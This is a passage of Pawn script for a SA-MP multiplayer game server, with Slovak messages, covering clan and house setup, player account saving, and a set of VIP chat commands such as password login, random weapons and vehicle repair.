                if(dini_Int(cway, V_neons) != 0)
                {
                    ClanVehicleNeon1[s][clanid] = CreateObject(dini_Int(cway, V_neons), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                    ClanVehicleNeon2[s][clanid] = CreateObject(dini_Int(cway, V_neons), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                    AttachObjectToVehicle(ClanVehicleNeon1[s][clanid], ClanVehicle[s][clanid], -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                    AttachObjectToVehicle(ClanVehicleNeon2[s][clanid], ClanVehicle[s][clanid], 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                    ClanVehicleNeons[s][clanid] = true;
                }
                
                ClanVehicle_State[s][clanid]=true;
            }
        }
    }
    else
    {
        dini_Create(cway);

        Clan[clanid][State] = 0;
        Clan[clanid][Players] = 0;
        Clan[clanid][Vehicles] = 1;
        Clan[clanid][WeaponSlots] = 3;
        Clan[clanid][cInterior] = 0;
        Clan[clanid][Bank] = 500000;
        Clan[clanid][Kills] = 0;
        Clan[clanid][MaxPlayers] = 4;
        Clan[clanid][Color] = COLOR_WHITE;

        dini_IntSet(cway, "State", 0);
        dini_IntSet(cway, "Players", 0);
        dini_IntSet(cway, "Vehicles", 1);
        dini_IntSet(cway, "WeaponSlots", 3);
        dini_IntSet(cway, "Interior", 0);
        dini_IntSet(cway, "Bank", 500000);
        dini_IntSet(cway, "Kills", 0);
        dini_IntSet(cway, "MaxPlayers", 5);
        dini_IntSet(cway, "Color", Clan[clanid][Color]);
        dini_Set   (cway, "Name", "- none -");
        dini_Set   (cway, "Majitel", "- none -");

        for(new s=0; s<5; s++)
        {
            new v_id[16]; format(v_id,16,"V%d_id",s);
            dini_IntSet(cway,v_id,0);
            new v_neons[16]; format(v_neons,16,"V%d_neons",s);
            dini_IntSet(cway,v_neons,0);
            new v_wheels[16]; format(v_wheels,16,"V%d_wheels",s);
            dini_IntSet(cway,v_wheels,0);
            new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",s);
            dini_IntSet(cway,v_spoiler,0);
            new v_pn[16]; format(v_pn,16,"V%d_pn",s);
            dini_IntSet(cway,v_pn,0);
            new v_pj[16]; format(v_pj,16,"V%d_pj",s);
            dini_IntSet(cway,v_pj,9999);
            new v_snL[16]; format(v_snL,16,"V%d_snL",s);
            dini_IntSet(cway,v_snL,0);
            new v_snR[16]; format(v_snR,16,"V%d_snR",s);
            dini_IntSet(cway,v_snR,0);
            new v_zn[16]; format(v_zn,16,"V%d_zn",s);
            dini_IntSet(cway,v_zn,0);
            new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",s);
            dini_IntSet(cway,v_exhaust,0);
            new v_nitro[16]; format(v_nitro,16,"V%d_nitro",s);
            dini_IntSet(cway,v_nitro,0);
            new v_hyd[16]; format(v_hyd,16,"V%d_hyd",s);
            dini_IntSet(cway,v_hyd,0);
            new v_roof[16]; format(v_roof,16,"V%d_roof",s);
            dini_IntSet(cway,v_roof,0);
            new v_color1[16]; format(v_color1,16,"V%d_color1",s);
            dini_IntSet(cway,v_color1,0);
            new v_color2[16]; format(v_color2,16,"V%d_color2",s);
            dini_IntSet(cway,v_color2,0);
            new v_spz[16]; format(v_spz,16,"V%d_spz",s);
            dini_Set   (cway,v_spz,"AB-000CD");
        }

        for(new w=0; w<8; w++)
        {
            new w_id[16]; format(w_id,16, "W%d_id", w);
            dini_IntSet(cway,w_id,0);
            new w_ammo[16]; format(w_ammo,16, "W%d_ammo", w);
            dini_IntSet(cway,w_ammo,0);
        }

        dini_IntSet(cway,"W0_id",26);
        dini_IntSet(cway,"W0_ammo",250);

        for(new p=0; p<12; p++)
        {
            new p_plat[16]; format(p_plat,16, "P%d_Plat", p);
            dini_IntSet(cway,p_plat,0);
            new p_hodnost[16]; format(p_hodnost,16, "P%d_Hodnost", p);
            dini_IntSet(cway,p_hodnost,0);
            new p_name[16]; format(p_name,16, "P%d_Name", p);
            dini_Set   (cway,p_name,"-none-");
        }
    }

    if(Clan[clanid][cInterior] == 0) //24-7
    {
        Clan[clanid][cpiX] = -27.049;
        Clan[clanid][cpiY] = -56.755;
        Clan[clanid][cpiZ] = 1003.549;
        Clan[clanid][cIntID] = 6;
    }
    else if(Clan[clanid][cInterior] == 1) //bar 1
    {
        Clan[clanid][cpiX] = -228.868;
        Clan[clanid][cpiY] = 1401.141;
        Clan[clanid][cpiZ] = 27.768;
        Clan[clanid][cIntID] = 18;
    }
    else if(Clan[clanid][cInterior] == 2) //bar 2
    {
        Clan[clanid][cpiX] = 501.936;
        Clan[clanid][cpiY] = -68.261;
        Clan[clanid][cpiZ] = 998.765;
        Clan[clanid][cIntID] = 11;
    }
    else if(Clan[clanid][cInterior] == 3) //restauration
    {
        Clan[clanid][cpiX] = 377.164;
        Clan[clanid][cpiY] = -178.254;
        Clan[clanid][cpiZ] = 1000.641;
        Clan[clanid][cIntID] = 17;
    }
    else if(Clan[clanid][cInterior] == 4) //war house
    {
        Clan[clanid][cpiX] = 2807.259;
        Clan[clanid][cpiY] = -1174.359;
        Clan[clanid][cpiZ] = 1025.581;
        Clan[clanid][cIntID] = 8;
    }
    else if(Clan[clanid][cInterior] == 5) //double stairs
    {
        Clan[clanid][cpiX] = 2324.490;
        Clan[clanid][cpiY] = -1148.906;
        Clan[clanid][cpiZ] = 1050.723;
        Clan[clanid][cIntID] = 12;
    }

    Clan[clanid][cVWID] = (clanid+800);

         if(Clan[clanid][State] == 0) format(c3Dstring, 150, "[ Clan ]\n%s\nVoľný Clan", dini_Get(cway, "Name"));
    else if(Clan[clanid][State] == 1) format(c3Dstring, 150, "[ Clan ]\n%s\nMajiteľ: %s\nBank: %d$", dini_Get(cway, "Name"), dini_Get(cway, "Majitel"), Clan[clanid][Bank]);

    Clan[clanid][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, eX, eY, eZ, 50, 0);
    return 1;
}

forward SetClanVehicleSpawnPos(series, clanid, Float:eX, Float:eY, Float:eZ, Float:eA);
public SetClanVehicleSpawnPos(series, clanid, Float:eX, Float:eY, Float:eZ, Float:eA)
{
    CV_x[series][clanid] = eX;
    CV_y[series][clanid] = eY;
    CV_z[series][clanid] = eZ;
    CV_a[series][clanid] = eA;
    CV_x2[series][clanid] = eX;
    CV_y2[series][clanid] = eY;
    CV_z2[series][clanid] = eZ;
    CV_a2[series][clanid] = eA;
    return 1;
}

forward CreateHouse(house_id,Float:x,Float:y,Float:z,interiorid,price,vehicles,weaponslots,bool:ishousevip);
public CreateHouse(house_id,Float:x,Float:y,Float:z,interiorid,price,vehicles,weaponslots,bool:ishousevip)
{
    new way[32];
    format(way,32,"SL/Server/Houses/House%d.cfg",house_id);
    
    for(new v=0; v<5; v++)
    {
        Car_State[v][house_id]=false;
    }

    if(!dini_Exists(way))
    {
        dini_Create(way);

        dini_IntSet(way,"State",0);
        dini_Set(way,"Majitel","-none-");

        for(new s=0; s<5; s++)
        {
            new v_id[16]; format(v_id,16,"V%d_id",s);
            dini_IntSet(way,v_id,0);
            new v_name[16]; format(v_name,16,"V%d_name",s);
            dini_Set(way,v_name,"-none-");
            new v_sell[16]; format(v_sell,16,"V%d_sell",s);
            dini_IntSet(way,v_sell,0);
            new v_neons[16]; format(v_neons,16,"V%d_neons",s);
            dini_IntSet(way,v_neons,0);
            new v_wheels[16]; format(v_wheels,16,"V%d_wheels",s);
            dini_IntSet(way,v_wheels,0);
            new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",s);
            dini_IntSet(way,v_spoiler,0);
            new v_pn[16]; format(v_pn,16,"V%d_pn",s);
            dini_IntSet(way,v_pn,0);
            new v_pj[16]; format(v_pj,16,"V%d_pj",s);
            dini_IntSet(way,v_pj,9999);
            new v_snL[16]; format(v_snL,16,"V%d_snL",s);
            dini_IntSet(way,v_snL,0);
            new v_snR[16]; format(v_snR,16,"V%d_snR",s);
            dini_IntSet(way,v_snR,0);
            new v_zn[16]; format(v_zn,16,"V%d_zn",s);
            dini_IntSet(way,v_zn,0);
            new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",s);
            dini_IntSet(way,v_exhaust,0);
            new v_nitro[16]; format(v_nitro,16,"V%d_nitro",s);
            dini_IntSet(way,v_nitro,0);
            new v_hyd[16]; format(v_hyd,16,"V%d_hyd",s);
            dini_IntSet(way,v_hyd,0);
            new v_roof[16]; format(v_roof,16,"V%d_roof",s);
            dini_IntSet(way,v_roof,0);
            new v_color1[16]; format(v_color1,16,"V%d_color1",s);
            dini_IntSet(way,v_color1,0);
            new v_color2[16]; format(v_color2,16,"V%d_color2",s);
            dini_IntSet(way,v_color2,0);
            new v_spz[16]; format(v_spz,16,"V%d_spz",s);
            dini_Set(way,v_spz,"AB-000CD");
        }

        dini_IntSet(way,"W1_type",0);
        dini_IntSet(way,"W2_type",0);
        dini_IntSet(way,"W3_type",0);
        dini_IntSet(way,"W4_type",0);
        dini_IntSet(way,"W5_type",0);
        dini_IntSet(way,"W1_ammo",0);
        dini_IntSet(way,"W2_ammo",0);
        dini_IntSet(way,"W3_ammo",0);
        dini_IntSet(way,"W4_ammo",0);
        dini_IntSet(way,"W5_ammo",0);

        dini_IntSet(way,"S1_id",0);
        dini_IntSet(way,"S2_id",0);
        dini_IntSet(way,"S3_id",0);
        dini_IntSet(way,"S4_id",0);
        dini_IntSet(way,"S5_id",0);
    }

    ////////////////////////////////////////////////////////////////////////////

    new Float:x2,
        Float:y2,
        Float:z2,
        interior
    ;

    if(interiorid == 1)
    {
        x2 = 2283.0;
        y2 = -1139.1;
        z2 = 1050.8;
        interior = 11;
    }
    else if(interiorid == 2)
    {
        x2 = 2333.0;
        y2 = -1075.9;
        z2 = 1049.0;
        interior = 6;
    }
    else if(interiorid == 3)
    {
        x2 = 2365.0;
        y2 = -1133.8;
        z2 = 1050.8;
        interior = 8;
    }
    else if(interiorid == 4)
    {
        x2 = 318.3;
        y2 = 1116.7;
        z2 = 1083.8;
        interior = 5;
    }
    else if(interiorid == 5)
    {
        x2 = 2468.6870;
        y2 = -1698.1849;
        z2 = 1013.5210;
        interior = 2;
    }
    else if(interiorid == 6)
    {
        x2 = 2317.7;
        y2 = -1025.5;
        z2 = 1050.2;
        interior = 9;
    }
    else if(interiorid == 7)
    {
        x2 = 1262.0;
        y2 = -785.2;
        z2 = 1091.9;
        interior = 5;
    }

    House[house_id] = CreatePickup(1273,23,x,y,z,0);
    InteriorP[house_id] = CreatePickup(1318,23,x2,y2,z2,house_id+1);

    new Text3Dstring[128];

    if(dini_Int(way,"State")==0)
    {
        if(ishousevip == false) House_V[house_id][Text3D] = Create3DTextLabel("[ House ]\nVoľný dom",0xFF0000FF,x,y,z,50,0);
        else                     House_V[house_id][Text3D] = Create3DTextLabel("[ VIP House ]\nVoľný dom",0xFF0000FF,x,y,z,50,0);
    }
    else
    {
        if(ishousevip == false) format(Text3Dstring,128,"[ House ]\nMajiteľ:\n%s",dini_Get(way,"Majitel"));
        else                    format(Text3Dstring,128,"[ VIP House ]\nMajiteľ:\n%s",dini_Get(way,"Majitel"));

        House_V[house_id][Text3D] = Create3DTextLabel(Text3Dstring,0xFF0000FF, x, y, z,50,0);
    }

    HouseStates[house_id][E_x]=x;
    HouseStates[house_id][E_y]=y;
    HouseStates[house_id][E_z]=z;
    HouseStates[house_id][I_x]=x2;
    HouseStates[house_id][I_y]=y2;
    HouseStates[house_id][I_z]=z2;
    HouseStates[house_id][Price]=price;
    HouseStates[house_id][Interior]=interior;
    HouseStates[house_id][VirtualWorld]=house_id+1;
    HouseStates[house_id][Vehicles]=vehicles;
    HouseStates[house_id][WeaponSlots]=weaponslots;
    HouseStates[house_id][IsHouseVIP]=ishousevip;
    return 1;
}

//-------------------------------------------------------------------------------

forward HideInfoBoxForPlayer(playerid);
public HideInfoBoxForPlayer(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        TextDrawHideForPlayer(playerid, InfoBoxNadpis[playerid]);
        TextDrawHideForPlayer(playerid, InfoBoxText[playerid]);
    }
    return 1;
}

forward PlayerCameraBack(playerid);
public PlayerCameraBack(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SetCameraBehindPlayer(playerid);
        if(Player[playerid][FreezeP]==false) TogglePlayerControllable(playerid, 1);
    }
    return 1;
}

forward IsPlayerInSphere(playerid,Float:x,Float:y,Float:z,radius);
public IsPlayerInSphere(playerid,Float:x,Float:y,Float:z,radius)
{
    return IsPlayerInRangeOfPoint(playerid, radius, x, y, z);
}

/*
forward GetPlayerDistanceToPointEx(playerid,Float:x,Float:y,Float:z);
public GetPlayerDistanceToPointEx(playerid,Float:x,Float:y,Float:z)
{
    new Float:x1,Float:y1,Float:z12,Float:tmpdis;
    GetPlayerPos(playerid,x1,y1,z12);
    tmpdis = floatsqroot(floatpower(floatabs(floatsub(x,x1)), 2)+floatpower(floatabs(floatsub(y,y1)), 2)+floatpower(floatabs(floatsub(z,z12)),2));
    return floatround(tmpdis);
}
*/
stock GetPlayerDistanceToPointEx(playerid,Float:x,Float:y,Float:z)
{
    new s[20];
    format(s, sizeof(s), "%f", GetPlayerDistanceFromPoint(playerid, x, y, z));
    return floatround(floatstr(s));
}

forward IsVehicleInSphere(vehicleid,Float:x,Float:y,Float:z,radius);
public IsVehicleInSphere(vehicleid,Float:x,Float:y,Float:z,radius)
{
    if(GetVehicleDistanceToPointEx(vehicleid,x,y,z) < radius) return true;
    return false;
}

forward GetVehicleDistanceToPointEx(vehicleid,Float:x,Float:y,Float:z);
public GetVehicleDistanceToPointEx(vehicleid,Float:x,Float:y,Float:z)
{
    new Float:x1,Float:y1,Float:z12,Float:tmpdis;
    GetVehiclePos(vehicleid,x1,y1,z12);
    tmpdis = floatsqroot(floatpower(floatabs(floatsub(x,x1)), 2)+floatpower(floatabs(floatsub(y,y1)), 2)+floatpower(floatabs(floatsub(z,z12)),2));
    return floatround(tmpdis);
}

forward RobTimeDown(playerid);
public RobTimeDown(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][RobTime]--;

        if(Player[playerid][RobTime]<=0)
        {
            KillTimer(Player[playerid][RobTimer]);
            SendClientMessage(playerid,COLOR_GREEN,"Už môžeš znova vykrádať obchody !");
            Player[playerid][RobTime]=0;
        }
    }
    return 1;
}

forward SavePlayerAccount(playerid);
public SavePlayerAccount(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        new way[32], Name[24], Float:posX, Float:posY, Float:posZ, Float:hp, Float:armour;

        GetPlayerName(playerid, Name, 24);
        format(way,32,"SL/%s.cfg",Name);
        GetPlayerPos(playerid,posX,posY,posZ);
        GetPlayerHealth(playerid,hp);
        GetPlayerArmour(playerid,armour);

        if(Player[playerid][Logged]==true)
        {
            dini_IntSet(way,"AdminLevel", Player[playerid][AdminLevel]);
            dini_IntSet(way,"Bank", Player[playerid][Bank]);
            dini_IntSet(way,"WantedLevel", GetPlayerWantedLevel(playerid));
            dini_IntSet(way,"Reward", Player[playerid][Reward]);
            dini_IntSet(way,"Kills", Player[playerid][Kills]);
            dini_IntSet(way,"Deaths", Player[playerid][Deaths]);
            dini_IntSet(way,"House", Player[playerid][HouseP]);
            dini_IntSet(way,"Team", Player[playerid][Team]);
            dini_IntSet(way,"Vodicak", Player[playerid][Vodicak]);
            dini_IntSet(way,"Zbrojak", Player[playerid][Zbrojak]);
            dini_FloatSet(way,"Pos_X", posX);
            dini_FloatSet(way,"Pos_Y", posY);
            dini_FloatSet(way,"Pos_Z", posZ);
            dini_IntSet(way,"World", GetPlayerVirtualWorld(playerid));
            dini_IntSet(way,"Interior", GetPlayerInterior(playerid));
            dini_IntSet(way,"LastMoney", Player[playerid][Money]);
            dini_FloatSet(way,"LastHP", hp);
            dini_FloatSet(way,"LastArmour", armour);
            dini_IntSet(way,"LastSkin", GetPlayerSkin(playerid));
            dini_IntSet(way,"Notebook", Player[playerid][Notebook]);
            dini_IntSet(way,"GPS", Player[playerid][GPS]);
            dini_IntSet(way,"Hours", Player[playerid][Hours]);
            dini_IntSet(way,"Minutes", Player[playerid][Minutes]);
            dini_IntSet(way,"EBank", Player[playerid][InternetBank]);
            dini_FloatSet(way,"Skill", Player[playerid][Skill]);
            dini_IntSet(way,"Firm", Player[playerid][FirmP]);
            dini_IntSet(way,"Clan", Player[playerid][ClanP]);
            dini_IntSet(way,"ClanRank", Player[playerid][ClanRank]);
            dini_IntSet(way,"Bagety", Player[playerid][Bagety]);
            dini_IntSet(way,"Sprunk", Player[playerid][Sprunk]);
            dini_IntSet(way,"Pivo", Player[playerid][Pivo]);
            dini_IntSet(way,"Vino", Player[playerid][Vino]);
            dini_IntSet(way,"Whisky", Player[playerid][Whisky]);
            dini_IntSet(way,"Marihuana", Player[playerid][Marihuana]);
            dini_IntSet(way,"Jointy", Player[playerid][Jointy]);
            dini_IntSet(way,"Cigarety", Player[playerid][Cigarety]);
            dini_IntSet(way,"Svetlica", Player[playerid][Svetlica]);
            dini_IntSet(way,"Dynamit", Player[playerid][Dynamit]);
            dini_IntSet(way,"Mina", Player[playerid][Mina]);
            dini_IntSet(way,"Raptor", Player[playerid][Raptor]);
            dini_IntSet(way,"Predator", Player[playerid][Predator]);
            dini_FloatSet(way,"Respect", Player[playerid][Respect]);
            dini_IntSet(way,"FightingS", Player[playerid][FightingStyle]);
            if(Player[playerid][VIP_Logged] == true) dini_IntSet(way,"VIP", Player[playerid][VIP]);
        }
    }
    return 1;
}

//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//-----------------------------------------------< VIP >------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|

dcmd_vpassword(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /vpassword [ HESLO ]");
        else if(strlen(params)<6 ) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Minimálne 6 znaky ! !");
        else if(strlen(params)>20) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Maximálne 20 znaků !");
        else
        {
            new way[32];
            new Name[24];
            GetPlayerName(playerid,Name,24);
            format(way,32,"SL/%s.cfg",Name);

            dini_Set(way,"VIP_PW",lyrhash(params));

            new message[80];
            format(message,80,"[  VIP  ] Zmenil si si VIP heslo na: %s",params);
            SendClientMessage(playerid,COLOR_GOLD,message);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vlogin(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new Name[24];
        GetPlayerName(playerid,Name,24);
        new way[32];
        format(way,32,"SL/%s.cfg",Name);

             if(dini_Int(way,"VIP") == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /vlogin [ HESLO ]");
        else if(strcmp(dini_Get(way,"VIP_PW"),lyrhash(params),true)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Zadal si zlé heslo !");
        else if(Player[playerid][VIP_Logged]==true) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už si prihlásený !");
        else
        {
            SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Úspešne si sa prihlásil !");

            new Float:remdays = floatdiv((dini_Int(way,"VIP_Time") - dini_Int("SL/Server/ServerTime.cfg","Time")), 1440);

            new remmsg[64];
            format(remmsg,64,"Ešte ti zostáva %.2f dni !", remdays);
            SendClientMessage(playerid,COLOR_GOLD,remmsg);

            Player[playerid][VIP] = dini_Int(way,"VIP");

            new allmsg[128];
            new viptarif[16];
                 if(Player[playerid][VIP]==1) viptarif="Bronze";
            else if(Player[playerid][VIP]==2) viptarif="Silver";
            else if(Player[playerid][VIP]==3) viptarif="Gold";
            format(allmsg,128,"Hráč %s sa prihlásil do VIP Systému ako VIP Tarif %s",Name,viptarif);
            SendClientMessageToAll(COLOR_RED,allmsg);

            Player[playerid][VIP_Logged] = true;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vinfo(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        SendClientMessage(playerid,COLOR_GOLD,"---------------------------------------------------------< VIP >---------------------------------------------------------");
        SendClientMessage(playerid,COLOR_GOLD,"Ako VIP Hráč môžeš používať rôzne príkazy, napríklad na opravu auta, na doplnenie života,");
        SendClientMessage(playerid,COLOR_GOLD,"pridánie zbrani a omnoho viac. Tak isto si môžeš kupiť jeden z VIP Domov");
        SendClientMessage(playerid,COLOR_GOLD,"špeciálna vozidlá, miesto 3 vlastných vozidel môžeš mať až 5, môžeš používať špeciálny VIP Chat");
        SendClientMessage(playerid,COLOR_GOLD,"iba pre hráčov z VIP. Keď si kupíš VIP dostaneš taktiež bonusové peniaze. VIP Tarif Bronze - 15 000 000$,");
        SendClientMessage(playerid,COLOR_GOLD,"Silver - 30 000 000$, Gold - 50 000 000$. Neváhaj a kup si VIP ! {ff0000}Info o zaplateni: /vpay");
        SendClientMessage(playerid,COLOR_GOLD,"-------------------------------------------------------------------------------------------------------------------------------");
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vpay(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
    //ShowPlayerDialog(playerid, Dialog_VIP_Pay_skcz, DIALOG_STYLE_MSGBOX, "Ako zaplatit VIP", "{ffff00}Si slovák alebo čech ?", "SK", "CZ");
    }
    return 1;
}

//------------------------------------------------------------

dcmd_viplist(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new bool:logged = false;

        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(i))
                {
                    if(Player[i][VIP]>0)
                    {
                        new Name2[24];
                        GetPlayerName(i,Name2,24);
                        new viptarif[16];

                             if(Player[i][VIP]==1) viptarif="Bronze";
                        else if(Player[i][VIP]==2) viptarif="Silver";
                        else if(Player[i][VIP]==3) viptarif="Gold";

                        new string[128];
                        format(string,128,"%s (%d) - VIP Tarif %s",Name2,i,viptarif);
                        SendClientMessage(playerid,COLOR_GOLD,string);
                        logged = true;
                    }
                }
            }
        }

        if(logged == false) SendClientMessage(playerid,COLOR_RED,"Nikdo z pripojených hráčov nemá VIP !");
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vammo(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new remaining_msg[128];
        format(remaining_msg,128,"[  !  ]{ffffff} Ešte nemôžeš použíť tento príkaz, počkaj %d sec. !",VIP_Block[playerid][vammo]);

             if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(VIP_Block[playerid][vammo]>0) return SendClientMessage(playerid,COLOR_WARNING,remaining_msg);
        else
        {
            SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Dal si si náhodnou zbraň !");

            new weaponid=0;
            new ammo=0;
            new RandomWeapon = random(9);

            if(RandomWeapon == 1)
            {
                weaponid=24;
                ammo=50;
            }
            else if(RandomWeapon == 2)
            {
                weaponid=26;
                ammo=75;
            }
            else if(RandomWeapon == 3)
            {
                weaponid=28;
                ammo=50;
            }
            else if(RandomWeapon == 4)
            {
                weaponid=31;
                ammo=80;
            }
            else if(RandomWeapon == 5)
            {
                weaponid=30;
                ammo=80;
            }
            else if(RandomWeapon == 6)
            {
                weaponid=28;
                ammo=120;
            }
            else if(RandomWeapon == 7)
            {
                weaponid=32;
                ammo=130;
            }
            else if(RandomWeapon == 8)
            {
                weaponid=33;
                ammo=20;
            }
            else if(RandomWeapon == 9)
            {
                weaponid=25;
                ammo=35;
            }

            GivePlayerWeapon(playerid, weaponid, ammo);

            if(Player[playerid][VIP]==1) VIP_Block[playerid][vammo]=300;
            if(Player[playerid][VIP]==2) VIP_Block[playerid][vammo]=240;
            if(Player[playerid][VIP]==3) VIP_Block[playerid][vammo]=180;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vcmds(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"VIP Príkazy","{ff7700}Bronze\n{ffffff}/vammo /vcmds /vf /vcolor\n\n{cccccc}Silver\n{ffffff}/vammo /vcmds /vf /vcolor /vvr /vcar /vhp\n\n{ffcc00}Gold\n{ffffff}/vammo /vcmds /vf /vcolor /vvr /vcar /vhp /vhideme /vshowme /vsawn\n\nVIP Chat: @[ TEXT ]","OK","");
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vf(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new remaining_msg[128];
        format(remaining_msg,128,"[  !  ]{ffffff} Ešte nemôžeš použíť tento príkaz, počkaj %d sec. !",VIP_Block[playerid][vf]);

             if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(VIP_Block[playerid][vf]>0) return SendClientMessage(playerid,COLOR_WARNING,remaining_msg);
        else if(!IsPlayerInAnyVehicle(playerid)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v auteě !");
        else
        {
            SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Prevrátil si si auto naspäť na kolesá !");

            new Float:x, Float:y, Float:z, Float:a;
            GetVehiclePos(GetPlayerVehicleID(playerid), x, y, z);
            GetVehicleZAngle(GetPlayerVehicleID(playerid), a);

            SetVehiclePos(GetPlayerVehicleID(playerid), x, y, z);
            SetVehicleZAngle(GetPlayerVehicleID(playerid), a);

            if(Player[playerid][VIP]==1) VIP_Block[playerid][vf]=300;
            if(Player[playerid][VIP]==2) VIP_Block[playerid][vf]=240;
            if(Player[playerid][VIP]==3) VIP_Block[playerid][vf]=180;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vvr(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new remaining_msg[128];
        format(remaining_msg,128,"[  !  ]{ffffff} Ešte nemôžeš použíť tento príkaz, počkaj %d sec. !",VIP_Block[playerid][vvr]);

             if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(Player[playerid][VIP]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Až od VIP Tarif Silver !");
        else if(VIP_Block[playerid][vvr]>0) return SendClientMessage(playerid,COLOR_WARNING,remaining_msg);
        else if(!IsPlayerInAnyVehicle(playerid)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v aute !");
        else
        {
            SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Opravil si si vozidlo !");

            SetVehicleHealth(GetPlayerVehicleID(playerid),1000);
            RepairVehicle(GetPlayerVehicleID(playerid));

            if(Player[playerid][VIP]==2) VIP_Block[playerid][vvr]=180;
            if(Player[playerid][VIP]==3) VIP_Block[playerid][vvr]=120;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vcar(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new remaining_msg[128];
        format(remaining_msg,128,"[  !  ]{ffffff} Ešte nemôžeš použíť tento príkaz, počkaj %d sec. !",VIP_Block[playerid][vcar]);

             if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(Player[playerid][VIP]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Až od VIP Tarif Silver !");
        else if(VIP_Block[playerid][vcar]>0) return SendClientMessage(playerid,COLOR_WARNING,remaining_msg);
        else if(!IsPlayerInAnyVehicle(playerid)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v aute !");
        else ShowPlayerDialog(playerid,Dialog_VIP_Car,DIALOG_STYLE_LIST,"VIP Car","Color\nNitro\nHydraulics","OK","Cancel");
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vcolor(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else
        {
            SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Nastavil si si farbu VIP Hráču (Gold) !");
            SetPlayerColor(playerid, COLOR_GOLD);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vhp(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new remaining_msg[128];
        format(remaining_msg,128,"[  !  ]{ffffff} Ešte nemôžeš použíť tento príkaz, počkaj %d sec. !",VIP_Block[playerid][vhp]);

        if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(Player[playerid][VIP]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Až od VIP Tarif Silver !");
        else if(VIP_Block[playerid][vhp]>0) return SendClientMessage(playerid,COLOR_WARNING,remaining_msg);
